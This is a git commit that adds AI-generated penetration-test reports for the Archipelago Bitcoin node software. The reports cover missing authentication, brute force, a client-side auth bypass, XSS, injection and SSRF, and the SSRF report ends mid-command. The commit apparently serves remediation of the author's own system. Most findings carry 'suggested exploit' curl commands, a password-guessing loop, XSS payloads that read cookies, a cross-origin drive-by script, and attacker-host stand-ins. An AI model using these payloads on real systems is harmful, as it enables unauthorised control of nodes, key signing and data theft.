chore: add security pentest reports and remediation plan

Overnight pentest run produced recon, analysis, exploitation reports,
and a full security assessment. Plan.md updated with 22 prioritized
fix items for auth, SSRF, injection, XSS, and hardening.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
Dorian
2026-03-06 03:08:14 +00:00
co-authored by Claude Opus 4.6
parent 0837b24a4b
commit 6623dbc4ab
17 changed files with 3415 additions and 83 deletions
+494
View File
@@ -0,0 +1,494 @@
Now I have a complete picture. Let me compile the full vulnerability report.
---
# Authentication & Authorization Vulnerability Assessment
**Target:** http://192.168.1.228 (Archipelago Bitcoin Node OS)
**Scope:** Authentication, Authorization, and Session Management
**Method:** Source code review + limited live probing (backend was down during testing)
---
## AUTH-001: Complete Absence of Server-Side Session Management
**Type:** Missing Authentication
**Location:** `POST /rpc/v1` — all RPC methods
**Source file:** `core/archipelago/src/api/rpc/mod.rs:71-140`
**Confidence:** HIGH
The `auth.login` handler (`core/archipelago/src/api/rpc/auth.rs:5-32`) verifies the password against a bcrypt hash, then returns `serde_json::Value::Null`**no session token, no cookie, no JWT is created or returned**. There is zero server-side session state.
The `handle()` method at `mod.rs:71` receives the request, deserializes the JSON body, and dispatches directly to the method handler based on the `method` string. No middleware, no session check, no cookie validation occurs at any point in the request lifecycle.
**Evidence:**
- `auth.rs:31` returns `Ok(serde_json::Value::Null)` on successful login — no session created
- `handler.rs:34-75` routes requests with no middleware chain
- `server.rs:125-157` creates a raw hyper `service_fn` with no middleware wrapping
- The `core/startos/src/middleware/auth.rs` contains a full session middleware (`HasValidSession`, cookie parsing, SHA-256 token hashing, rate limiting) but it is **completely unused** by the archipelago binary
**Suggested exploit:**
```bash
# Any endpoint callable without any auth token/cookie
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node.did","params":{}}'
```
---
## AUTH-002: All 30+ Sensitive RPC Endpoints Callable Without Authentication
**Type:** Missing Authorization Checks on Sensitive Endpoints
**Location:** `POST /rpc/v1` with various `method` values
**Source file:** `core/archipelago/src/api/rpc/mod.rs:86-139`
**Confidence:** HIGH
Every RPC method is callable by any network client without authentication. The full list of unprotected methods:
| Category | Methods | Impact |
|----------|---------|--------|
| **Container control** | `container-install`, `container-start`, `container-stop`, `container-remove` | Full container lifecycle control |
| **Package management** | `package.install`, `package.start`, `package.stop`, `package.restart`, `package.uninstall` | Install/run arbitrary Docker images |
| **Cryptographic operations** | `node.signChallenge`, `node.createBackup` | Sign arbitrary data with node private key, export encrypted identity |
| **Identity exposure** | `node.did`, `node.nostr-pubkey`, `node.tor-address` | Leak node identity, Nostr keys, Tor hidden service address |
| **P2P operations** | `node-add-peer`, `node-remove-peer`, `node-send-message`, `node-list-peers` | Manipulate peer list, send messages as node |
| **Nostr publication** | `node.nostr-publish` | Publish node identity to Nostr relays |
| **Auth management** | `auth.changePassword`, `auth.resetOnboarding` | Reset onboarding state |
| **Bitcoin/Lightning** | `bitcoin.getinfo`, `lnd.getinfo` | Access chain/channel data |
**Evidence:** `mod.rs:86-139` — flat match statement with zero auth gating.
**Suggested exploit:**
```bash
# Install and run any container image
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.install","params":{"id":"malicious","dockerImage":"attacker/image:tag"}}'
# Sign arbitrary data with node's ed25519 private key
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node.signChallenge","params":{"challenge":"arbitrary data to sign"}}'
```
---
## AUTH-003: No Brute Force Protection on Login
**Type:** Missing Rate Limiting / Account Lockout
**Location:** `POST /rpc/v1` with `method: "auth.login"`
**Source file:** `core/archipelago/src/api/rpc/auth.rs:5-32`
**Confidence:** HIGH
The login handler has no rate limiting, no account lockout, no progressive delays, and no CAPTCHA. The `core/startos/src/middleware/auth.rs:240-256` implements rate limiting (3 attempts per 20 seconds) but this middleware is **not connected** to the archipelago backend.
Bcrypt hashing provides some natural slowdown (~100ms per attempt at DEFAULT_COST=12), allowing ~600 attempts/minute.
**Evidence:**
- `auth.rs:5-32` — straightforward password check with no rate limiting logic
- No rate-limiting state anywhere in the archipelago codebase
- No nginx rate limiting on `/rpc/` in `nginx-archipelago.conf`
**Suggested exploit:**
```bash
# Unlimited login attempts with no lockout
for pw in $(cat /path/to/wordlist.txt); do
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$pw\"}}"
done
```
---
## AUTH-004: Hardcoded Default Credentials (Dev Mode)
**Type:** Default/Test Credentials
**Location:** `POST /rpc/v1` with `method: "auth.login"`
**Source files:**
- `core/archipelago/src/api/rpc/mod.rs:40``DEV_DEFAULT_PASSWORD = "password123"`
- `core/archipelago/src/main.rs:47-53` — auto-creates user with default password
- `core/archipelago/src/api/rpc/auth.rs:17-20` — accepts default password when user not setup
**Confidence:** HIGH
When `dev_mode=true` in config:
1. `main.rs:49-50` auto-creates `user.json` with bcrypt hash of `"password123"`
2. `auth.rs:18` accepts `"password123"` even without user setup
The config defaults `dev_mode: false` (`config.rs:197`), but if the production server has `ARCHIPELAGO_DEV_MODE=true` in its environment or config, this backdoor is active. The CLAUDE.md confirms the dev server uses `password123`.
**Evidence:** The constant `DEV_DEFAULT_PASSWORD` is defined in two places (`mod.rs:40`, `main.rs:28`).
**Suggested exploit:**
```bash
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"auth.login","params":{"password":"password123"}}'
```
---
## AUTH-005: Frontend-Only Authentication Enforcement
**Type:** Client-Side Authentication Bypass
**Location:** Browser localStorage + Vue router guards
**Source files:**
- `neode-ui/src/stores/app.ts:12``isAuthenticated` based on localStorage
- `neode-ui/src/router/index.ts:157-214` — navigation guard
- `neode-ui/src/stores/app.ts:190-219` — session validation
**Confidence:** HIGH
Authentication enforcement exists **only** in the Vue.js frontend:
1. `app.ts:12` — auth state is `localStorage.getItem('neode-auth') === 'true'`
2. `app.ts:196` — session validation calls `server.echo` to "verify" the session
3. Since `server.echo` requires no authentication (it's just another unprotected RPC method), session validation **always succeeds** if the backend is reachable
This creates a circular trust problem: the frontend validates the session by calling an unprotected endpoint, which always succeeds, so `localStorage['neode-auth'] = 'true'` is sufficient to be "authenticated" forever.
**Evidence:**
- Router guard at `index.ts:183-193` — if `localStorage` says authenticated, user proceeds to protected routes, with session check (that always succeeds) running in background
- `app.ts:196``server.echo` always returns successfully regardless of auth state
**Suggested exploit:**
```javascript
// In browser console at http://192.168.1.228/login
localStorage.setItem('neode-auth', 'true')
window.location.href = '/dashboard'
// Full dashboard access without password
```
---
## AUTH-006: No-Op Logout Implementation
**Type:** Session Invalidation Failure
**Location:** `POST /rpc/v1` with `method: "auth.logout"`
**Source file:** `core/archipelago/src/api/rpc/auth.rs:34-36`
**Confidence:** HIGH
```rust
pub(super) async fn handle_auth_logout(&self) -> Result<serde_json::Value> {
Ok(serde_json::Value::Null)
}
```
The logout handler is a complete no-op. Since no session was ever created (AUTH-001), there is nothing to invalidate. The frontend logout (`app.ts:55-70`) clears localStorage and disconnects the WebSocket, but this is entirely client-side.
**Evidence:** Three lines of code, returns null immediately.
**Suggested exploit:** Not applicable — logout has no server-side effect because there is no server-side session.
---
## AUTH-007: Unauthenticated WebSocket Access
**Type:** Missing Authentication on Data Stream
**Location:** `GET /ws/db` (WebSocket upgrade)
**Source file:** `core/archipelago/src/api/handler.rs:42-44, 190-287`
**Confidence:** HIGH
The WebSocket endpoint at `/ws/db` (`handler.rs:42-43`) accepts connections without any authentication. Upon connection, it immediately sends the full server state dump (`handler.rs:216-223`) including:
- Node identity (pubkey, DID)
- Tor hidden service address
- All installed package states
- Server configuration
Any client on the network receives all state updates in real-time.
**Evidence:** `handler.rs:42-44` — WebSocket upgrade with no session/token check:
```rust
if method == Method::GET && path == "/ws/db" {
return Self::handle_websocket(req, self.state_manager.clone()).await;
}
```
**Suggested exploit:**
```javascript
const ws = new WebSocket('ws://192.168.1.228/ws/db')
ws.onmessage = (e) => console.log(JSON.parse(e.data))
// Receives full state dump immediately
```
---
## AUTH-008: Unauthenticated P2P Message Injection
**Type:** Missing Authentication + Missing Input Validation (Spoofing)
**Location:** `POST /archipelago/node-message`
**Source file:** `core/archipelago/src/api/handler.rs:125-145`, `core/archipelago/src/node_message.rs:26-38`
**Confidence:** HIGH
The P2P message endpoint accepts arbitrary `from_pubkey` and `message` values without:
1. Authentication of the sender
2. Signature verification (the `from_pubkey` is self-claimed, not cryptographically verified)
3. Any access control
Messages are stored in-memory (`node_message.rs:28-33`) and served to the UI. Spoofed messages are indistinguishable from legitimate ones.
**Evidence:** `handler.rs:131-137` — deserializes and stores without verification:
```rust
if let (Some(from), Some(msg)) = (incoming.from_pubkey, incoming.message) {
node_msg::store_received(&from, &msg).await;
}
```
**Suggested exploit:**
```bash
curl -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"spoofed_key_123","message":"Fake message from attacker"}'
```
---
## AUTH-009: CORS Wildcard on Non-RPC Endpoints
**Type:** Permissive CORS Policy
**Location:** Multiple HTTP endpoints
**Source file:** `core/archipelago/src/api/handler.rs:15, 108, 118, 142, 153, 173`
**Confidence:** HIGH
`CORS_ANY = "*"` is applied to these endpoints:
- `/api/container/logs` (line 108, 118)
- `/archipelago/node-message` (line 142)
- `/electrs-status` (line 153)
- `/proxy/lnd/*` (line 173)
This enables drive-by attacks from any website. A malicious webpage could inject P2P messages, read container logs, read electrs sync status, and proxy requests to LND.
Note: The main `/rpc/v1` endpoint does **not** set CORS headers (`handler.rs:164-168`), so browser-based cross-origin XHR to RPC is blocked. However, this only protects against browser-based attacks — direct curl/script access is unrestricted.
**Evidence:** `const CORS_ANY: &str = "*";` at `handler.rs:15`.
**Suggested exploit:**
```html
<!-- Attacker's webpage, visited by someone on the same network -->
<script>
// Inject spoofed P2P messages via CORS wildcard
fetch('http://192.168.1.228/archipelago/node-message', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({from_pubkey: 'attacker', message: 'phishing message'})
})
</script>
```
---
## AUTH-010: Weak Initial Password Policy
**Type:** Password Policy Enforcement Gap
**Location:** Frontend setup flow
**Source files:**
- `neode-ui/src/views/Login.vue:212` — 8-char minimum for initial setup
- `core/archipelago/src/auth.rs:172-190` — 12-char + complexity for password change
**Confidence:** MEDIUM
The initial password setup (Login.vue line 212) requires only 8 characters with no complexity requirements. The password change flow (`auth.rs:172-190`) requires 12+ characters with uppercase, lowercase, digit, and special character. This means the initial password can be significantly weaker than what's required for subsequent changes.
Note: The `auth.setup` method doesn't actually exist in the backend RPC handler (not in `mod.rs:86-139`), so the setup flow may only work via the mock backend in dev mode. However, `auth.rs:49` (`setup_user`) has no password strength validation either.
**Evidence:** `Login.vue:212`:
```typescript
if (password.value.length < 8) { ... }
```
vs `auth.rs:174`:
```rust
if password.len() < 12 { anyhow::bail!("Password must be at least 12 characters"); }
```
---
## AUTH-011: Unauthenticated LND Proxy (SSRF Vector)
**Type:** Missing Authorization + Server-Side Request Forgery
**Location:** `GET /proxy/lnd/*`
**Source file:** `core/archipelago/src/api/handler.rs:158-188`
**Confidence:** HIGH
The LND proxy at `/proxy/lnd/` forwards requests to `http://127.0.0.1:8080` without any authentication. The path suffix is directly concatenated into the URL (`handler.rs:159`):
```rust
let suffix = path.strip_prefix("/proxy/lnd").unwrap_or("/");
let url = format!("http://127.0.0.1:8080{}", suffix);
```
This exposes internal LND REST API endpoints to unauthenticated external access, and the path construction could potentially be abused for limited SSRF (though constrained to port 8080).
**Suggested exploit:**
```bash
# Access LND REST API without authentication
curl http://192.168.1.228/proxy/lnd/v1/getinfo
curl http://192.168.1.228/proxy/lnd/v1/balance/channels
```
---
## AUTH-012: Unauthenticated Container Log Access
**Type:** Missing Authorization on Sensitive Data
**Location:** `GET /api/container/logs?app_id=*`
**Source file:** `core/archipelago/src/api/handler.rs:64-66, 77-123`
**Confidence:** HIGH
Container logs are accessible without authentication via the HTTP GET endpoint. Logs can contain sensitive information (configuration, errors, internal IPs, credentials in error messages).
**Suggested exploit:**
```bash
curl "http://192.168.1.228/api/container/logs?app_id=lnd&lines=500"
curl "http://192.168.1.228/api/container/logs?app_id=bitcoin&lines=500"
```
---
## AUTH-013: Disconnected Authentication Infrastructure
**Type:** Architectural Authentication Gap
**Location:** `core/startos/src/middleware/auth.rs` vs `core/archipelago/`
**Source files:**
- `core/startos/src/middleware/auth.rs:1-285` — complete auth middleware (unused)
- `core/startos/src/middleware/mod.rs` — middleware module (unused)
**Confidence:** HIGH (informational)
A complete authentication middleware exists in the `startos` crate including:
- Session token validation via SHA-256 hashed cookies (`auth.rs:65-92`)
- Session creation with database persistence (`auth.rs:44-57`)
- Rate limiting: 3 login attempts per 20 seconds (`auth.rs:240-256`)
- `HasValidSession` guard pattern (`auth.rs:62`)
The archipelago backend binary **does not import or use** any of this middleware. The RPC handler was built from scratch without plugging into the existing auth infrastructure.
---
## Summary
| ID | Type | Endpoint | Confidence | Severity |
|----|------|----------|------------|----------|
| AUTH-001 | No session management | `/rpc/v1` (auth.login) | HIGH | CRITICAL |
| AUTH-002 | No auth on 30+ endpoints | `/rpc/v1` (all methods) | HIGH | CRITICAL |
| AUTH-003 | No brute force protection | `/rpc/v1` (auth.login) | HIGH | HIGH |
| AUTH-004 | Default credentials | `/rpc/v1` (auth.login) | HIGH | HIGH |
| AUTH-005 | Client-side auth only | Frontend router/localStorage | HIGH | CRITICAL |
| AUTH-006 | No-op logout | `/rpc/v1` (auth.logout) | HIGH | MEDIUM |
| AUTH-007 | Unauth WebSocket | `/ws/db` | HIGH | HIGH |
| AUTH-008 | Unauth message injection | `/archipelago/node-message` | HIGH | HIGH |
| AUTH-009 | CORS wildcard | Multiple non-RPC endpoints | HIGH | HIGH |
| AUTH-010 | Weak initial password | Frontend setup flow | MEDIUM | MEDIUM |
| AUTH-011 | Unauth LND proxy | `/proxy/lnd/*` | HIGH | HIGH |
| AUTH-012 | Unauth container logs | `/api/container/logs` | HIGH | MEDIUM |
| AUTH-013 | Disconnected auth infra | Architectural (informational) | HIGH | INFO |
The root cause is **AUTH-001**: the login flow verifies passwords but creates no session, and no middleware exists to check sessions on subsequent requests. All other findings flow from this architectural gap. The fix is to wire session creation into `auth.login`, add session cookies to responses, and add middleware before the RPC dispatch at `handler.rs:55` that validates session cookies on all non-public methods.
```json
{
"category": "auth",
"findings": [
{
"id": "AUTH-001",
"type": "missing_session_management",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}' — observe null response with no Set-Cookie header"
},
{
"id": "AUTH-002",
"type": "missing_authorization",
"endpoint": "/rpc/v1",
"parameter": "method=package.install|node.signChallenge|container-install|node.createBackup|...",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"node.did\",\"params\":{}}' — returns node identity without auth"
},
{
"id": "AUTH-003",
"type": "brute_force_no_protection",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password",
"confidence": "high",
"payload_suggestion": "Automated password spray against auth.login with no lockout or rate limit — bcrypt provides ~100ms delay per attempt"
},
{
"id": "AUTH-004",
"type": "default_credentials",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password=password123",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'"
},
{
"id": "AUTH-005",
"type": "client_side_auth_bypass",
"endpoint": "/dashboard",
"parameter": "localStorage['neode-auth']",
"confidence": "high",
"payload_suggestion": "In browser console: localStorage.setItem('neode-auth','true'); location.href='/dashboard' — full UI access without login"
},
{
"id": "AUTH-006",
"type": "session_invalidation_failure",
"endpoint": "/rpc/v1",
"parameter": "method=auth.logout",
"confidence": "high",
"payload_suggestion": "Logout is a no-op returning null — no server-side session to invalidate"
},
{
"id": "AUTH-007",
"type": "unauthenticated_websocket",
"endpoint": "/ws/db",
"parameter": "N/A",
"confidence": "high",
"payload_suggestion": "wscat -c ws://192.168.1.228/ws/db — receives full server state dump including node identity, Tor address, and all package states"
},
{
"id": "AUTH-008",
"type": "message_spoofing",
"endpoint": "/archipelago/node-message",
"parameter": "from_pubkey, message",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"spoofed\",\"message\":\"injected\"}'"
},
{
"id": "AUTH-009",
"type": "cors_wildcard",
"endpoint": "/archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "Drive-by attack from malicious webpage: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', ...}) — succeeds cross-origin"
},
{
"id": "AUTH-010",
"type": "weak_password_policy",
"endpoint": "/rpc/v1",
"parameter": "method=auth.setup (frontend only), password",
"confidence": "medium",
"payload_suggestion": "Initial setup accepts 8-char passwords without complexity; change requires 12+ with complexity"
},
{
"id": "AUTH-011",
"type": "unauthenticated_ssrf_proxy",
"endpoint": "/proxy/lnd/*",
"parameter": "path suffix",
"confidence": "high",
"payload_suggestion": "curl http://192.168.1.228/proxy/lnd/v1/getinfo — accesses LND REST API without authentication"
},
{
"id": "AUTH-012",
"type": "unauthenticated_data_access",
"endpoint": "/api/container/logs",
"parameter": "app_id, lines",
"confidence": "high",
"payload_suggestion": "curl 'http://192.168.1.228/api/container/logs?app_id=lnd&lines=500' — reads container logs without auth"
},
{
"id": "AUTH-013",
"type": "disconnected_auth_infrastructure",
"endpoint": "N/A (architectural)",
"parameter": "core/startos/src/middleware/auth.rs not wired to core/archipelago/",
"confidence": "high",
"payload_suggestion": "Informational: auth middleware exists in startos crate but is not imported by the archipelago binary"
}
]
}
```
+15
View File
@@ -0,0 +1,15 @@
## Summary
Found **7 injection vulnerabilities** across the active Archipelago backend:
| ID | Severity | Type | Key Risk |
|----|----------|------|----------|
| INJ-001 | **Critical** | Arbitrary File Read | `container-install` reads any file path as root |
| INJ-002 | **Critical** | Path Traversal → `rm -rf` | `package.uninstall` deletes arbitrary directories via `../` in `id` |
| INJ-003 | **Critical** | Arbitrary Volume Mount | `bundled-app-start` mounts any host path into attacker container |
| INJ-006 | **High** | Arbitrary Container Execution | `package.install` pulls/runs any Docker image from any registry |
| INJ-004 | **Medium** | SSRF / Unrestricted API Proxy | `/proxy/lnd/*` forwards to LND REST API without auth |
| INJ-005 | **Medium** | Argument Injection | Unsanitized `app_id`/`package_id` passed to podman commands |
| INJ-007 | **Low** | Log Injection | Unauthenticated P2P endpoint stores arbitrary content |
**Root cause**: All these share a common pattern — user-controlled input from unauthenticated RPC calls flows directly into privileged operations (file I/O, process execution, container orchestration) without validation or sanitization. The most impactful fix would be wiring authentication middleware into the HTTP handler, followed by input validation on all `app_id`, `package_id`, `manifest_path`, and `volumes` parameters.
+212
View File
@@ -0,0 +1,212 @@
{
"findings": [
{
"id": "XSS-001",
"type": "stored_xss",
"endpoint": "/archipelago/node-message",
"parameter": "message, from_pubkey",
"confidence": "medium",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"\\\" onfocus=alert(1) autofocus=\\\"\",\"message\":\"<img src=x onerror=alert(document.cookie)>\"}'"
},
{
"id": "XSS-002",
"type": "dom_xss_postmessage",
"endpoint": "AppLauncherOverlay.vue (client-side)",
"parameter": "postMessage event.data.type",
"confidence": "medium",
"payload_suggestion": "window.parent.postMessage({ type: 'app-launcher-escape' }, '*')"
},
{
"id": "XSS-003",
"type": "dom_xss_postmessage",
"endpoint": "Settings.vue (client-side)",
"parameter": "postMessage event.data.type",
"confidence": "medium",
"payload_suggestion": "window.postMessage({ type: 'claude-auth-success' }, '*')"
},
{
"id": "XSS-004",
"type": "missing_csp_headers",
"endpoint": "All responses (nginx)",
"parameter": "Content-Security-Policy, X-Frame-Options",
"confidence": "high",
"payload_suggestion": "No CSP set \u2014 any successful XSS injection has zero mitigation. Verify with: curl -sI http://192.168.1.228/ | grep -i security"
},
{
"id": "XSS-005",
"type": "reflected_xss_json",
"endpoint": "/rpc/v1 (method: echo)",
"parameter": "params.message",
"confidence": "low",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"echo\",\"params\":{\"message\":\"<script>alert(1)</script>\"}}'"
},
{
"id": "XSS-006",
"type": "dom_xss_postmessage",
"endpoint": "/test-aiui.html",
"parameter": "postMessage event.data",
"confidence": "low",
"payload_suggestion": "window.postMessage({ type: 'context:response', id: 'test-1', data: '<img src=x onerror=alert(1)>' }, '*')"
},
{
"id": "XSS-007",
"type": "cors_wildcard_xss_enabler",
"endpoint": "All backend endpoints",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "From any website: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({from_pubkey:'attacker', message:'<script>alert(1)</script>'})})"
},
{
"id": "AUTH-001",
"type": "missing_session_management",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}' \u2014 observe null response with no Set-Cookie header"
},
{
"id": "AUTH-002",
"type": "missing_authorization",
"endpoint": "/rpc/v1",
"parameter": "method=package.install|node.signChallenge|container-install|node.createBackup|...",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"node.did\",\"params\":{}}' \u2014 returns node identity without auth"
},
{
"id": "AUTH-003",
"type": "brute_force_no_protection",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password",
"confidence": "high",
"payload_suggestion": "Automated password spray against auth.login with no lockout or rate limit \u2014 bcrypt provides ~100ms delay per attempt"
},
{
"id": "AUTH-004",
"type": "default_credentials",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password=password123",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'"
},
{
"id": "AUTH-005",
"type": "client_side_auth_bypass",
"endpoint": "/dashboard",
"parameter": "localStorage['neode-auth']",
"confidence": "high",
"payload_suggestion": "In browser console: localStorage.setItem('neode-auth','true'); location.href='/dashboard' \u2014 full UI access without login"
},
{
"id": "AUTH-006",
"type": "session_invalidation_failure",
"endpoint": "/rpc/v1",
"parameter": "method=auth.logout",
"confidence": "high",
"payload_suggestion": "Logout is a no-op returning null \u2014 no server-side session to invalidate"
},
{
"id": "AUTH-007",
"type": "unauthenticated_websocket",
"endpoint": "/ws/db",
"parameter": "N/A",
"confidence": "high",
"payload_suggestion": "wscat -c ws://192.168.1.228/ws/db \u2014 receives full server state dump including node identity, Tor address, and all package states"
},
{
"id": "AUTH-008",
"type": "message_spoofing",
"endpoint": "/archipelago/node-message",
"parameter": "from_pubkey, message",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"spoofed\",\"message\":\"injected\"}'"
},
{
"id": "AUTH-009",
"type": "cors_wildcard",
"endpoint": "/archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "Drive-by attack from malicious webpage: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', ...}) \u2014 succeeds cross-origin"
},
{
"id": "AUTH-010",
"type": "weak_password_policy",
"endpoint": "/rpc/v1",
"parameter": "method=auth.setup (frontend only), password",
"confidence": "medium",
"payload_suggestion": "Initial setup accepts 8-char passwords without complexity; change requires 12+ with complexity"
},
{
"id": "AUTH-011",
"type": "unauthenticated_ssrf_proxy",
"endpoint": "/proxy/lnd/*",
"parameter": "path suffix",
"confidence": "high",
"payload_suggestion": "curl http://192.168.1.228/proxy/lnd/v1/getinfo \u2014 accesses LND REST API without authentication"
},
{
"id": "AUTH-012",
"type": "unauthenticated_data_access",
"endpoint": "/api/container/logs",
"parameter": "app_id, lines",
"confidence": "high",
"payload_suggestion": "curl 'http://192.168.1.228/api/container/logs?app_id=lnd&lines=500' \u2014 reads container logs without auth"
},
{
"id": "AUTH-013",
"type": "disconnected_auth_infrastructure",
"endpoint": "N/A (architectural)",
"parameter": "core/startos/src/middleware/auth.rs not wired to core/archipelago/",
"confidence": "high",
"payload_suggestion": "Informational: auth middleware exists in startos crate but is not imported by the archipelago binary"
},
{
"id": "SSRF-001",
"type": "blind_ssrf_via_tor_proxy",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-check-peer)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}"
},
{
"id": "SSRF-002",
"type": "ssrf_via_tor_proxy_with_data_exfil",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-send-message)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}"
},
{
"id": "SSRF-003",
"type": "internal_service_proxy",
"endpoint": "/proxy/lnd/{path}",
"parameter": "URL path suffix",
"confidence": "medium",
"payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678"
},
{
"id": "SSRF-004",
"type": "ssrf_via_container_registry_pull",
"endpoint": "/rpc/v1",
"parameter": "params.dockerImage (method: package.install)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}"
},
{
"id": "SSRF-005",
"type": "full_arbitrary_url_fetch",
"endpoint": "marketplace.get (INACTIVE - startos codebase)",
"parameter": "url",
"confidence": "low",
"payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary"
},
{
"id": "SSRF-006",
"type": "config_driven_websocket_ssrf",
"endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)",
"parameter": "ARCHIPELAGO_NOSTR_RELAYS env var",
"confidence": "low",
"payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/"
}
]
}
+218
View File
@@ -0,0 +1,218 @@
The backend appears to be down currently. The analysis is based on thorough source code review. Let me compile the full findings.
---
# SSRF Vulnerability Analysis — Archipelago
## Summary
I analyzed the entire codebase for SSRF vulnerabilities across the Rust backend (`core/archipelago/`), nginx configuration, Vite dev proxy, and the `core/startos/` (inactive) codebase. The active backend has **3 confirmed SSRF vectors** and **1 dormant but critical one** in unreachable code.
---
## SSRF-001: Blind SSRF via `node-check-peer` (Missing Onion Validation)
**Type**: Direct SSRF via Tor SOCKS5 proxy
**Location**: `POST /rpc/v1` → method `node-check-peer`
**Parameter**: `onion`
**Source file**: `core/archipelago/src/node_message.rs:115-133`
**RPC handler**: `core/archipelago/src/api/rpc/peers.rs:69-80`
**Evidence**: `check_peer_reachable()` accepts the `onion` parameter and constructs an HTTP URL **without calling `validate_onion()`**, unlike `send_to_peer()` which does validate. The function:
1. Takes any string as `onion` (line 115)
2. Appends `.onion` if needed (lines 116-120)
3. Constructs `http://{host}/health` (line 121)
4. Sends via `socks5h://127.0.0.1:9050` Tor proxy (lines 122-127)
5. Returns boolean success/failure to the caller (line 130)
Since there's no validation, an attacker can inject port numbers and URL components. For example, `onion: "validbase32chars.onion:9999"` results in a request to port 9999. The `socks5h://` protocol delegates DNS to Tor, and the response status is leaked via the boolean.
Additionally, this endpoint has **zero authentication** and **CORS wildcard** (`Access-Control-Allow-Origin: *`), enabling drive-by SSRF from any website.
**Confidence**: HIGH
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}'
```
Response `{"result":{"reachable":true/false}}` confirms the server made an outbound request via Tor to the specified .onion address.
---
## SSRF-002: SSRF via `node-send-message` (Validated but Still Exploitable)
**Type**: Direct SSRF via Tor SOCKS5 proxy
**Location**: `POST /rpc/v1` → method `node-send-message`
**Parameter**: `onion`
**Source file**: `core/archipelago/src/node_message.rs:66-112`
**RPC handler**: `core/archipelago/src/api/rpc/peers.rs:50-67`
**Evidence**: `send_to_peer()` calls `validate_onion()` (line 67), which checks: 56 chars of base32 (`a-z2-7`). This limits the SSRF to valid Tor v3 onion format, but:
1. Any valid-format onion address gets an HTTP POST with a JSON body (lines 74-79)
2. The request includes the node's own public key in the body (`from_pubkey`)
3. The response error messages are returned to the caller, leaking connection details
4. No rate limiting — can probe many .onion addresses rapidly
The validation prevents port injection but NOT arbitrary .onion targeting. An attacker can force the server to POST to any Tor hidden service.
**Confidence**: HIGH
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
